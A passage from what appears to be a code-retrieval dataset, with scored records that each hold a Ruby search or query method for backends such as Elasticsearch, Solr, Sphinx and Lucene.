"text": "def search(query, options = {})\n page = (options.delete(:page) || 1).to_i\n #options[:fields] ||= '_id'\n options[:size] ||= per_page_for_search(options)\n options[:from] ||= options[:size] * (page - 1)\n if query.is_a?(Hash)\n options[:query] = query\n else\n options[:query] = {\n :query_string => {\n :query => query,\n :default_operator => options.delete(:default_operator)\n }\n }\n end\n query = {}\n case sort = options.delete(:sort)\n when Array,Hash\n options[:sort] = sort\n when String\n query[:sort] = sort\n end\n\n response = ElasticSearchable.request :get, index_type_path('_search'), :query => query, :json_body => options\n hits = response['hits']\n origin = hits['hits'].collect {|h| h['_source'] }\n #results = self.find(ids).sort_by {|result| ids.index(result.id) }\n\n page = WillPaginate::Collection.new(page, options[:size], hits['total'])\n page.replace origin\n page\n end",
"title": ""
},
{
"docid": "1c2ac712128a97dc65ff6d0f5cf22fca",
"score": "0.6081873",
"text": "def search_hits(query, options = {})\n Escargot.elastic_search_client.search(query, options.merge({:index => self.index_name, :type => elastic_search_type}))\n end",
"title": ""
},
{
"docid": "b58018833ecb10fb6be1160a86bb0765",
"score": "0.6071694",
"text": "def search\n if !params[:query] || params[:query].empty?\n render :template => 'connector/diagnostics/7.xml.builder', :status => 400, :locals => {:message=>\"'query'\"}\n return\n end \n parser = CqlRuby::CqlParser.new\n cql = parser.parse(params[:query])\n\n if params[:offset]\n @offset = params[:offset].to_i\n else\n @offset = 0\n end\n if params[:count]\n limit = params[:count].to_i\n else\n limit = AppConfig.connector['page_size']\n end\n\n if params[:entity] == 'items'\n sync_models\n end\n base_class = case params[:entity]\n when 'actors' then Borrower\n when 'collections' then Collection\n when 'items' then ItemHoldingCache\n when 'resources' then WorkMeta\n end\n if cql.is_a?(CqlRuby::CqlSortNode)\n sort = base_class.cql_sort(cql)\n cql = cql.subtree\n else\n sort = nil\n end\n unless (diagnostic = base_class.valid_cql_query?(cql)) === true\n render :template => \"connector/diagnostics/#{diagnostic[:number]}.xml.builder\", :status => 400, :locals => {:message=>diagnostic[:message]}\n return \n end\n \n # Turn the CQL query into something that makes sense internally (either SQL or Solr)\n cql_query = base_class.cql_tree_walker(cql) \n if params[:entity] == 'items'\n @entities = base_class.find_by_cql(cql_query, {:offset=>@offset, :limit=>limit, :sort=>sort}) \n @total = @entities.total_results\n else\n @total = base_class.count(:conditions=>cql_query) \n @entities = base_class.find(:all, :conditions=>cql_query, :offset=>@offset, :limit=>limit)\n end\n\n populate_entities if @entities.length > 0\n params[:format] = nil if params[:format]\n respond_to do | fmt |\n fmt.json {render :action=>'feed'}\n end \n \n end",
"title": ""
},
{
"docid": "460a8ff52623b391fc8e5df4e47dc7a2",
"score": "0.6068088",
"text": "def search(query, options = {})\n # query = String.new(query)\n\n page = options.delete(:page).to_i\n page = page > 0 ? page : 1\n page_size = (options.delete(:page_size) || Devcms.search_configuration[:default_page_size]).to_i\n user = options.delete(:for)\n top_node = options.delete(:top_node) || Node.root\n\n engine.search(query, page, page_size, user, top_node, options)\n end",
"title": ""
},
{
"docid": "30a87d1c7c37390388da5365f33e6641",
"score": "0.60528547",
"text": "def get(**query)\n set! self.class.get(client, send(self.class.index_field), **query)\n end",
"title": ""
},
{
"docid": "5d19211604356026247f1aa5b9a6ac0e",
"score": "0.60483974",
"text": "def search_query(index_name, query, options = SearchOptions.new)\n resp = @backend.document_search(index_name, JSON.generate(query), {\n timeout: options.timeout,\n limit: options.limit,\n skip: options.skip,\n explain: options.explain,\n highlight_style: options.highlight_style,\n highlight_fields: options.highlight_fields,\n fields: options.fields,\n sort: (options.sort.map { |v| JSON.generate(v) } if options.sort),\n facets: (options.facets.map { |(k, v)| [k, JSON.generate(v)] } if options.facets),\n scan_consistency: options.scan_consistency,\n mutation_state: (options.mutation_state.tokens.map { |t|\n {\n bucket_name: t.bucket_name,\n partition_id: t.partition_id,\n partition_uuid: t.partition_uuid,\n sequence_number: t.sequence_number,\n }\n } if options.mutation_state),\n })\n\n SearchResult.new do |res|\n res.meta_data = SearchMetaData.new do |meta|\n meta.metrics.max_score = resp[:meta_data][:metrics][:max_score]\n meta.metrics.error_partition_count = resp[:meta_data][:metrics][:error_partition_count]\n meta.metrics.success_partition_count = resp[:meta_data][:metrics][:success_partition_count]\n meta.metrics.took = resp[:meta_data][:metrics][:took]\n meta.metrics.total_rows = resp[:meta_data][:metrics][:total_rows]\n end\n res.rows = resp[:rows].map do |r|\n SearchRow.new do |row|\n row.transcoder = options.transcoder\n row.index = r[:index]\n row.id = r[:id]\n row.score = r[:score]\n row.fragments = r[:fragments]\n row.locations = SearchRowLocations.new(\n r[:locations].map do |loc|\n SearchRowLocation.new do |location|\n location.field = loc[:field]\n location.term = loc[:term]\n location.position = loc[:position]\n location.start_offset = loc[:start_offset]\n location.end_offset = loc[:end_offset]\n location.array_positions = loc[:array_positions]\n end\n end\n )\n row.instance_variable_set(\"@fields\", r[:fields])\n row.explanation = JSON.parse(r[:explanation]) if r[:explanation]\n end\n end\n if resp[:facets]\n res.facets = resp[:facets].each_with_object({}) do |(k, v), o|\n facet = case options.facets[k]\n when SearchFacet::SearchFacetTerm\n SearchFacetResult::TermFacetResult.new do |f|\n f.terms =\n if v[:terms]\n v[:terms].map do |t|\n SearchFacetResult::TermFacetResult::TermFacet.new(t[:term], t[:count])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetDateRange\n SearchFacetResult::DateRangeFacetResult.new do |f|\n f.date_ranges =\n if v[:date_ranges]\n v[:date_ranges].map do |r|\n SearchFacetResult::DateRangeFacetResult::DateRangeFacet.new(r[:name], r[:count], r[:start_time], r[:end_time])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetNumericRange\n SearchFacetResult::NumericRangeFacetResult.new do |f|\n f.numeric_ranges =\n if v[:numeric_ranges]\n v[:numeric_ranges].map do |r|\n SearchFacetResult::NumericRangeFacetResult::NumericRangeFacet.new(r[:name], r[:count], r[:min], r[:max])\n end\n else\n []\n end\n end\n else\n next # ignore unknown facet result\n end\n facet.name = v[:name]\n facet.field = v[:field]\n facet.total = v[:total]\n facet.missing = v[:missing]\n facet.other = v[:other]\n o[k] = facet\n end\n end\n end\n end",
"title": ""
},
{
"docid": "ba8f53117c22e56138bebe6c8b23709b",
"score": "0.60359913",
"text": "def search(query = '', facets: {}, page: 1, **params)\n params[:query] = query\n params = turn_into_query(**params)\n facets = turn_into_facets(**facets)\n params[:page] = page\n get('api/search', **params.merge(**facets))\n end",
"title": ""
},
{
"docid": "23dd0a042d48d5084efb80e1c25a6a21",
"score": "0.6035189",
"text": "def search(query, options={})\n index, type, options = extract_scope(options)\n\n options[:size] ||= (options[:per_page] || options[:limit]) if options[:per_page] || options[:limit]\n options[:from] ||= options[:size] * (options[:page].to_i-1) if options[:page] && options[:page].to_i > 1\n options[:from] ||= options[:offset] if options[:offset]\n\n options[:fields] = \"_id\" if options[:ids_only]\n\n # options that elasticsearch doesn't recognize: page, per_page, ids_only, limit, offset\n search_options = options.reject { |k, v| [:page, :per_page, :ids_only, :limit, :offset].include?(k) }\n\n response = execute(:search, index, type, query, search_options)\n\n Hits.new(response, {:per_page => options[:per_page], :page => options[:page], :ids_only => options[:ids_only]}) #ids_only returns array of ids instead of hits\n end",
"title": ""
},
{
"docid": "62b5b66d94ba8ac4a32a5e662fe2bee3",
"score": "0.60332316",
"text": "def query(query, use_valkyrie: Hyrax.config.query_index_from_valkyrie, **args)\n Rails.logger.warn rows_warning unless args.key?(:rows)\n method = args.delete(:method) || :get\n\n result = case method\n when :get\n get(query, use_valkyrie: use_valkyrie, **args)\n when :post\n post(query, use_valkyrie: use_valkyrie, **args)\n else\n raise \"Unsupported HTTP method for querying SolrService (#{method.inspect})\"\n end\n result['response']['docs'].map do |doc|\n ::SolrHit.new(doc)\n end\n end",
"title": ""
},
{
"docid": "0ce60edbdca90f3a5ebc399539847e06",
"score": "0.6029974",
"text": "def index\n puts \"--> ParamSets#index\"\n #@param_sets = ParamSet.all\n\n puts \"YAML::: \" + params.to_yaml\n if params[:search_param_sets].present?\n puts \"Received Query: \" + params[:search_param_sets][:query]\n #@current_page = (search_params[:page] || 1).to_i\n #@total_pages = (RubyGem.count / PAGE_SIZE.to_f).ceil\n #page_offset = (@current_page - 1) * PAGE_SIZE\n #@search_results = RubyGem.order(:created_at).limit(PAGE_SIZE).offset(page_offset)\n search()\n end\n end",
"title": ""
},
{
"docid": "9b78326e2dd555c6682ba93a4a6df91c",
"score": "0.6029719",
"text": "def query(params)\n params = map_params(modify_params_for_pagination(params))\n response = @adapter.query(params)\n params[:wt]==:ruby ? Solr::Response::Query::Base.new(response) : response\n end",
"title": ""
},
{
"docid": "d180b3cae1f1d96b6157aee603fd212c",
"score": "0.6028457",
"text": "def Query(query, index = '*')\r\n sock = self.Connect\r\n \r\n # build request\r\n \r\n # mode and limits\r\n req = [@offset, @limit, @mode, @sort].pack('NNNN')\r\n req << [@sortby.length].pack('N') + @sortby\r\n # query itself\r\n req << [query.length].pack('N') + query\r\n # weights\r\n req << [@weights.length].pack('N')\r\n req << @weights.pack('N' * @weights.length)\r\n # indexes\r\n req << [index.length].pack('N') + index\r\n # id range\r\n req << [@min_id.to_i, @max_id.to_i].pack('NN')\r\n \r\n # filters\r\n req << [@filters.length].pack('N')\r\n @filters.each do |filter|\r\n req << [filter['attr'].length].pack('N') + filter['attr']\r\n\r\n unless filter['values'].nil?\r\n req << [filter['values'].length].pack('N')\r\n req << filter['values'].pack('N' * filter['values'].length)\r\n else\r\n req << [0, filter['min'], filter['max']].pack('NNN')\r\n end\r\n req << [filter['exclude'] ? 1 : 0].pack('N')\r\n end\r\n \r\n # group-by, max matches, sort-by-group flag\r\n req << [@groupfunc, @groupby.length].pack('NN') + @groupby\r\n req << [@maxmatches].pack('N')\r\n req << [@groupsort.length].pack('N') + @groupsort\r\n \r\n # send query, get response\r\n len = req.length\r\n # add header\r\n req = [SEARCHD_COMMAND_SEARCH, VER_COMMAND_SEARCH, len].pack('nnN') + req\r\n sock.send(req, 0)\r\n \r\n response = GetResponse(sock, VER_COMMAND_SEARCH)\r\n \r\n # parse response\r\n result = {}\r\n max = response.length # protection from broken response\r\n \r\n # read schema\r\n p = 0\r\n fields = []\r\n attrs = {}\r\n attrs_names_in_order = []\r\n \r\n nfields = response[p, 4].unpack('N*').first; p += 4\r\n while nfields > 0 and p < max\r\n nfields -= 1\r\n len = response[p, 4].unpack('N*').first; p += 4\r\n fields << response[p, len]; p += len\r\n end\r\n result['fields'] = fields\r\n \r\n nattrs = response[p, 4].unpack('N*').first; p += 4\r\n while nattrs > 0 && p < max\r\n nattrs -= 1\r\n len = response[p, 4].unpack('N*').first; p += 4\r\n attr = response[p, len]; p += len\r\n type = response[p, 4].unpack('N*').first; p += 4\r\n attrs[attr] = type\r\n attrs_names_in_order << attr\r\n end\r\n result['attrs'] = attrs\r\n \r\n # read match count\r\n count = response[p, 4].unpack('N*').first; p += 4\r\n \r\n # read matches\r\n result['matches'] = {}\r\n while count > 0 and p < max\r\n count -= 1\r\n doc, weight = response[p, 8].unpack('N*N*'); p += 8\r\n \r\n result['matches'][doc] ||= {}\r\n result['matches'][doc]['weight'] = weight\r\n result['matches'][doc]['pos'] = count\r\n attrs_names_in_order.each do |attr|\r\n val = response[p, 4].unpack('N*').first; p += 4\r\n result['matches'][doc]['attrs'] ||= {}\r\n result['matches'][doc]['attrs'][attr] = val\r\n end\r\n end\r\n result['total'], result['total_found'], msecs, words = response[p, 16].unpack('N*N*N*N*'); p += 16\r\n result['time'] = '%.3f' % (msecs / 1000.0)\r\n \r\n result['words'] = {}\r\n while words > 0 and p < max\r\n words -= 1\r\n len = response[p, 4].unpack('N*').first; p += 4\r\n word = response[p, len]; p += len\r\n docs, hits = response[p, 8].unpack('N*N*'); p += 8\r\n result['words'][word] = { 'docs' => docs, 'hits' => hits }\r\n end\r\n \r\n result\r\n end",
"title": ""
},
{
"docid": "f7db14319c450c650ceb00abff37ad3b",
"score": "0.60205936",
"text": "def search\r\n @instance.search @query, @enterprise_filter\r\n end",
"title": ""
},
{
"docid": "f129539b2604a4e76457c751b3a5a082",
"score": "0.60179484",
"text": "def query_search(query, opts = {})\n data, _status_code, _headers = query_search_with_http_info(query, opts)\n data\n end",
"title": ""
},
{
"docid": "613ed3c68e0f539a7b736e4589beff7b",
"score": "0.60156536",
"text": "def search(query)\n Search.search(query)\n end",
"title": ""
},
{
"docid": "117539840d462ebecb4d5e8e2880b18a",
"score": "0.6010862",
"text": "def search(query = \"\")\n ::Mebla.search(query, self.slingshot_type_name)\n end",
"title": ""
},
{
"docid": "f762271be9256e6afac7436cb69ff3e7",
"score": "0.60028553",
"text": "def query(query, index = '*')\n sock = connect\n \n # build request\n\n # mode and limits\n req = [@offset, @limit, @mode, @sort].pack('NNNN')\n req << [@sortby.length].pack('N')\n req << @sortby\n # query itself\n req << [query.length].pack('N')\n req << query\n # weights\n req << [@weights.length].pack('N')\n req << @weights.pack('N' * @weights.length)\n # indexes\n req << [index.length].pack('N')\n req << index\n # id range\n req << [@min_id.to_i, @max_id.to_i].pack('NN')\n \n # filters\n req << [@min.length + @filter.length].pack('N')\n @min.each do |attribute, min|\n req << [attribute.length].pack('N')\n req << attribute\n req << [0, min, @max[attribute]].pack('NNN')\n end\n \n @filter.each do |attribute, values|\n req << [attribute.length].pack('N')\n req << attribute\n req << [values.length].pack('N')\n req << values.pack('N' * values.length)\n end\n \n # group-by\n req << [@groupfunc, @groupby.length].pack('NN')\n req << @groupby\n \n # max matches to retrieve\n req << [@maxmatches].pack('N')\n \n # send query, get response\n len = req.length\n # add header\n req = [SEARCHD_COMMAND_SEARCH, VER_COMMAND_SEARCH, len].pack('nnN') + req\n sock.send(req, 0)\n \n response = get_response(sock, VER_COMMAND_SEARCH)\n \n # parse response\n result = {}\n max = response.length # protection from broken response\n\n #read schema\n p = 0\n fields = []\n attrs = {}\n \n nfields = response[p, 4].unpack('N*').first\n p += 4\n while nfields > 0 and p < max\n nfields -= 1\n len = response[p, 4].unpack('N*').first\n p += 4\n fields << response[p, len]\n p += len\n end\n result[:fields] = fields\n\n nattrs = response[p, 4].unpack('N*').first\n p += 4\n while nattrs > 0 && p < max\n nattrs -= 1\n len = response[p, 4].unpack('N*').first\n p += 4\n attr = response[p, len]\n p += len\n type = response[p, 4].unpack('N*').first\n p += 4\n attrs[attr.to_sym] = type;\n end\n result[:attrs] = attrs\n \n # read match count\n count = response[p, 4].unpack('N*').first\n p += 4\n \n # read matches\n result[:matches] = {}\n while count > 0 and p < max\n count -= 1\n doc, weight = response[p, 8].unpack('N*N*')\n p += 8\n\n result[:matches][doc] ||= {}\n result[:matches][doc][:weight] = weight\n attrs.each do |attr, type|\n val = response[p, 4].unpack('N*').first\n p += 4\n result[:matches][doc][:attrs] ||= {}\n result[:matches][doc][:attrs][attr] = val\n end\n end\n result[:total], result[:total_found], result[:time], words = \\\n response[p, 16].unpack('N*N*N*N*')\n result[:time] = '%.3f' % (result[:time] / 1000)\n p += 16\n \n result[:words] = {}\n while words > 0 and p < max\n words -= 1\n len = response[p, 4].unpack('N*').first\n p += 4\n word = response[p, len]\n p += len\n docs, hits = response[p, 8].unpack('N*N*')\n p += 8\n result[:words][word] = {:docs => docs, :hits => hits}\n end\n \n result\n end",
"title": ""
},
{
"docid": "98fc1d6a60b973b5e4ba4c22360ab728",
"score": "0.59989953",
"text": "def query_index(args)\n begin\n idx = Lucene::Index.searcher(args[:index_path])\n\n query = JSON.parse(args[:query])\n\n # TODO: query parser type, more fields\n parser = Lucene::Index.query_parser(query.fields.first, \n args[:analyzer],\n args[:analyzer_args])\n\n # TODO: something more sophisticated\n idx_query = parser.parse(query.terms.join(\" \"))\n\n top_docs = idx.search(idx_query, query.max_results)\n # TODO: is any of topDocs worth keeping?\n#$stderr.puts top_docs.totalHits.to_s\n#$stderr.puts \"%0.4f\" % top_docs.getMaxScore\n\n results = []\n top_docs.scoreDocs.each do |score_doc|\n doc = idx.doc(score_doc.doc)\n\n r = PlanR::Query::Result.new(doc.get('id'), score_doc.score )\n # TODO: r.add_term(term, field, [pos])\n # TODO: other document metadata, e.g. title and such\n\n results << r\n end\n results\n\n rescue Exception => e\n $stderr.puts \"ERROR in Lucene::Index::query_index\"\n $stderr.puts e.message\n {}\n end\n end",
"title": ""
},
{
"docid": "198db6fc91e9bc503f67341b9a1f4ffe",
"score": "0.5970082",
"text": "def search(api_key, query, *args)\n new(api_key, query).search(*args)\n end",
"title": ""
},
{
"docid": "11a7511f93695823c3c33af86e537699",
"score": "0.5959524",
"text": "def search(*args)\n options = args.extract_options!\n query = args[0].to_s\n\n options.reverse_merge!({\n :classes => CONTENT_CLASSES,\n :page => 1,\n :order => :public_datetime,\n :sort_mode => :desc,\n :retry_stale => true,\n :populate => true\n })\n\n # We'll want to search only among live content 99% of the\n # time. For the times when we want unpublished stuff,\n # we can pass in `with: { is_live: [true, false] }`, for\n # example.\n options[:with] ||= {}\n options[:with].reverse_merge!(is_live: true)\n\n begin\n ThinkingSphinx.search(query, options)\n rescue Riddle::ConnectionError, Riddle::ResponseError, ThinkingSphinx::SphinxError\n # In this one scenario, we need to fail gracefully from a Sphinx error,\n # because otherwise the entire website will be down if media isn't available,\n # or if we need to stop the searchd daemon for some reason, like a rebuild.\n Kaminari.paginate_array([]).page(0).per(0)\n end\n end",
"title": ""
},
{
"docid": "59bea39c9f3c34a8743abfef38dd70d8",
"score": "0.59580004",
"text": "def search\n per_page = params[:per_page] || 50\n logger.debug per_page\n @results = PgSearch.multisearch(params[:query].to_s).limit(per_page.to_i)\n end",
"title": ""
},
{
"docid": "72a5704f63facb52795edbba2f934964",
"score": "0.59477234",
"text": "def search(query, options={}, &action)\n create_and_send_query(Solr::Request::Dismax, options.update(:query => query), &action)\n end",
"title": ""
},
{
"docid": "d1c285d2f1dd9c0c508cbff93f377273",
"score": "0.5935067",
"text": "def search(query, params={})\n case params[:search_by]\n when 'release'\n search_type = 'artist'\n when 'master'\n search_type = 'release'\n when 'artist'\n search_type = 'master'\n else\n search_type = \"release\"\n end\n params.delete(:search_type)\n results = wrapper.search(query, {type: search_type}.reverse_merge(params)).results.map {|r| r.image = r.delete(:thumb); r}\n results.empty? ? error_response : results\n end",
"title": ""
},
{
"docid": "3d5c183b06cd43ed86372bb079f4fe07",
"score": "0.5934338",
"text": "def show\n @query = params[:q]\n @results = Elasticsearch.search(params[:q], page: (params[:page] || '1').to_i) unless @query.nil?\n rescue Faraday::ConnectionFailed\n flash[:alert] = 'Search engine is unavailable, please try again later'\n ensure\n @results ||= Results.new\n end",
"title": ""
},
{
"docid": "7006a594bdb54da50dda6b1b9875e05d",
"score": "0.59304845",
"text": "def public_settable_search_args\n [:query, :search_field, :semantic_search_field, :sort, :page, :start, :per_page]\n end",
"title": ""
},
{
"docid": "9abe65499526fa692339a9a35f7e9c31",
"score": "0.59260607",
"text": "def search_data(query, params = {})\n return [] if query.blank?\n meta_keys = %w(first_name last_name)\n\n meta_key = build_meta_search_query(meta_keys)\n meta_query = {meta_key => query}\n\n paging_info = parse_paging_options(params)\n \n return self.search(meta_query).paginate(:page => paging_info.page_id,\n :per_page => paging_info.page_size,\n :order => paging_info.sort_string)\n end",
"title": ""
},
{
"docid": "417820cea62fa70e34532247d8f30c71",
"score": "0.59259313",
"text": "def search query,options={}\n options[:pagesize] ||= 10\n options[:pagenum] ||= 0\n \n search_url=\"/search/%QUERY%?\"\n options.keys.each {|key| search_url+=\"#{key.to_s}=#{URI.encode(options[key].to_s)}&\"}\n search_url=search_url[0..-2] #chop of trailing &\n \n search_url=search_url.gsub(\"%QUERY%\",URI.encode(query))\n full_search_path=bioportal_base_rest_url+search_url\n parser = XML::Parser.io(open(full_search_path))\n doc = parser.parse\n\n results = error_check doc\n\n unless results.nil?\n return results\n end\n\n results = []\n doc.find(\"/*/data/page/contents/searchResultList/searchBean\").each{ |element|\n results << parse_search_result(element)\n }\n\n pages = 1\n doc.find(\"/*/data/page\").each{|element|\n pages = element.first.find(element.path + \"/numPages\").first.content\n }\n\n return results.uniq,pages.to_i\n\n end",
"title": ""
},
{
"docid": "445f56cce8ea45b341931e12e2bb92e6",
"score": "0.592553",
"text": "def search(query, idx = @idx)\n url, data = \"#{@url}/#{idx}/_search\", Oj.dump(query)\n response = request_elastic(:post, url, data) or return nil\n docs = {}\n response['hits']['hits'].each { |doc|\n docs[doc['_id']] = doc['_source']\n }\n docs\n end",
"title": ""
},
{
"docid": "e6482d447b1036bfbfbf7c415023ceee",
"score": "0.59229416",
"text": "def index\n @q =Search.ransack(params[:q])\n @searches = @q.result\n @searches = Kaminari.paginate_array(@searches).page(params[:page]).per(20)\n end",
"title": ""
},
{
"docid": "5e38f248f63c65edf7e76739551001ec",
"score": "0.59227836",
"text": "def search(query = \"\", facets: {}, page: 1, **params)\n params[:query] = query\n params = turn_into_query(params)\n facets = turn_into_facets(facets)\n params[:page] = page\n get(\"/search\", **params.merge(facets))\n end",
"title": ""
},
{
"docid": "1c7b11d441d29201d38378a87de4e22f",
"score": "0.59202725",
"text": "def index\n item_query = Item.query\n if params[:search_terms] && params[:search_terms].length > 0\n search_conditions, *search_params = Item.conditions_from_search_terms(params[:search_terms])\n @items = Item.paginate(:per_page => 9, :page => params[:page], :conditions => [search_conditions,*search_params], :order => params[:order_by])\n else\n @items = item_query.paginate(:per_page => 9, :page => params[:page], :order => params[:order_by])\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @items }\n end\n end",
"title": ""
},
{
"docid": "45e9e55a4ad3bacfc2973631c1db9642",
"score": "0.59193814",
"text": "def params_search(query: [], artist: nil, genres: [],\n excluded_artists: [], excluded_genres: [])\n { action: 'exploreLoad',\n artist: artist.to_s,\n style: genres,\n exartist: excluded_artists,\n exstyle: excluded_genres,\n searchQuery: query,\n orderType: 'downloads',\n orderDate: 'all',\n orderDateMagnitude: '', # wut\n onlyShowBroken: false\n }\n end",
"title": ""
},
{
"docid": "32a5b768fce17cd90ab96e2e3fae4328",
"score": "0.5912116",
"text": "def aspace_solr_query(query, params={})\n solr_url = \"http://#{ENV['archivesspace_solr_host']}#{ENV['archivesspace_solr_core_path']}\"\n @solr = RSolr.connect :url => solr_url\n @solr_params = {:q => query }\n @solr_params.merge! params\n @response = @solr.get 'select', :params => @solr_params\n end",
"title": ""
},
{
"docid": "4b6bafd22a221f8c12b335659eee915d",
"score": "0.5900015",
"text": "def query(search_query)\n @http_request_parameters[:q] = search_query\n self\n end",
"title": ""
},
{
"docid": "8d9514f4da5dcaa258d67e3fa0b74422",
"score": "0.58936524",
"text": "def search(query, opts = {})\n build_docs(call(ft_search(query, opts)), opts)\n end",
"title": ""
},
{
"docid": "62f413328278fcc22324f3dc12745c18",
"score": "0.588639",
"text": "def index\n query = params[:query].to_s.strip\n search = Sunspot.new_search(Expression)\n @count = {}\n unless query.blank?\n @query = query.dup\n query = query.gsub(' ', ' ')\n #query = \"#{query} frequency_of_issue_id: [2 TO *]\" if params[:view] == 'serial'\n search.build do\n fulltext query\n end\n end\n\n set_role_query(current_user, search)\n\n unless params[:mode] == 'add'\n manifestation = @manifestation\n patron = @patron\n work = @work\n expression = @expression\n expression_merge_list = @expression_merge_list\n search.build do\n with(:manifestation_ids).equal_to manifestation.id if manifestation\n with(:patron_ids).equal_to patron.id if patron\n with(:work_id).equal_to work.id if work\n with(:original_expression_ids).equal_to expression.id if expression\n with(:expression_merge_list_ids).equal_to expression_merge_list.id if expression_merge_list\n end\n end\n\n role = current_user.try(:role) || Role.find('Guest')\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, Expression.default_per_page)\n @expressions = search.execute!.results\n @count[:total] = @expressions.total_entries\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @expressions }\n format.atom\n end\n end",
"title": ""
},
{
"docid": "1f945f490a5e6943b430faef2326a0fc",
"score": "0.58863014",
"text": "def search(options = {})\n client.search({ index: index, type: type }.merge(options))\n end",
"title": ""
},
{
"docid": "2a3790070f2e838184a99c36bab05111",
"score": "0.58769894",
"text": "def query_search_with_http_info(query, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SearchSearchAPIApi.query_search ...'\n end\n # verify the required parameter 'query' is set\n if @api_client.config.client_side_validation && query.nil?\n fail ArgumentError, \"Missing the required parameter 'query' when calling SearchSearchAPIApi.query_search\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling SearchSearchAPIApi.query_search, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling SearchSearchAPIApi.query_search, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/search/query'\n\n # query parameters\n query_params = {}\n query_params[:'query'] = query\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SearchResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SearchSearchAPIApi#query_search\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "6528e9aacbc01181f7743129898dfabb",
"score": "0.58742565",
"text": "def search_query(params)\n search_data = {}.tap do |data|\n data[:term] = params[\"term\"] if params[\"term\"]\n data[:location] = params[\"location\"] if params[\"location\"]\n data[:latitude] = params[\"latitude\"] if params[\"latitude\"]\n data[:longitude] = params[\"longitude\"] if params[\"longitude\"]\n data[:radius] = params[\"radius\"] if params[\"radius\"]\n data[:categories] = params[\"categories\"] if params[\"categories\"]\n data[:limit] = params[\"limit\"] if params[\"limit\"] ||= \"100\"\n data[:sort_by] = params[\"sort_by\"] if params[\"sort_by\"]\n data[:price] = params[\"price\"] if params[\"price\"]\n data[:open_now] = params[\"open_now\"] if params[\"open_now\"]\n data[:open_at] = params[\"open_at\"] if params[\"open_at\"]\n data[:attributes] = params[\"attributes\"] if params[\"attributes\"]\n end\n end",
"title": ""
},
{
"docid": "e176bc5930477349a28cbd9aa10878a3",
"score": "0.58674973",
"text": "def search(query, &block)\n\t\t\t\t@index.search_each(query) do |id, score|\n\t\t\t\t\tyield @index[id], score\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "5077d31451e9b21b3ff97c96d18e3f6f",
"score": "0.5855058",
"text": "def search(query, opts = {})\n @search ||= Search.new(self)\n @search.search_for(query, opts)\n end",
"title": ""
},
{
"docid": "a45bf41dae64488aeea68aa9d19d607a",
"score": "0.58517635",
"text": "def index\n @search = Vm.search do\n fulltext params[:search] do\n query_phrase_slop 1\n phrase_slop 1\n end\n order_by(sort_column, sort_direction)\n paginate(page: params[:page] || 1, per_page: 30)\n end\n @search.results.total_count == 0 ? flash[:alert] = \"search result is not found!!\" : flash[:alert] = nil\n @vms = @search.results\n end",
"title": ""
},
{
"docid": "6aae954c78e7c11726575050b1f3712a",
"score": "0.5844954",
"text": "def search(query)\n list(search: {search: query, limit: 50})\n end",
"title": ""
},
{
"docid": "2d0fc4cc2a7e284db63ff4ca0115bfc2",
"score": "0.58242327",
"text": "def query_string\n index.query(\n multi_match: {\n query: query,\n fields: [:title, :name, :content, :comments, :memo, :'labels.title', :'options.title']\n }\n ) if query?\n end",
"title": ""
},
{
"docid": "2396e87a2415cea340779026675e1206",
"score": "0.5808222",
"text": "def search(query:, howMany:, offset:)\n command = Command.new(\n command: :Search,\n result: Types::SearchResults,\n version: 2,\n parameters: {query: query, howMany: howMany, offset: offset}\n )\n perform_operation(command)\n end",
"title": ""
},
{
"docid": "3a8b8c7caa8e56142e33cd929e124464",
"score": "0.5808144",
"text": "def search! query, operations = [], &block\n result = @agent_page.search query\n\n # FIXME on every object\n result = operations.reduce(result) do |tmp, op|\n tmp.__send__ op\n end if result\n\n yield result if block_given?\n\n result\n end",
"title": ""
},
{
"docid": "347e322ec963692be75b5224cbd3da31",
"score": "0.57966536",
"text": "def search(filters)\n with_options = options_builder.manufacture(user, filters).to_hash\n\n map_query.search(with_options)\n end",
"title": ""
},
{
"docid": "80ae5f1b21266373ff2fe3d500255478",
"score": "0.5790041",
"text": "def search\t\t\n @query = params[:query]\n @taxcategoriess = Taxcategory.search @query, :page => params[:page], :per_page => 10\t\t\n\tend",
"title": ""
},
{
"docid": "6e3d1bae1134f1c6bd2a7fb166352b64",
"score": "0.57895815",
"text": "def search(*args)\n query = args.first\n return if query.nil?\n\n args = args.last.is_a?(Hash) ? args.last : {}\n args[:order] = dystopian_config[:order_by]\n paginate_results search_ids(query, args), args\n end",
"title": ""
},
{
"docid": "d645801730b47ae2030b0e16381a3100",
"score": "0.5789066",
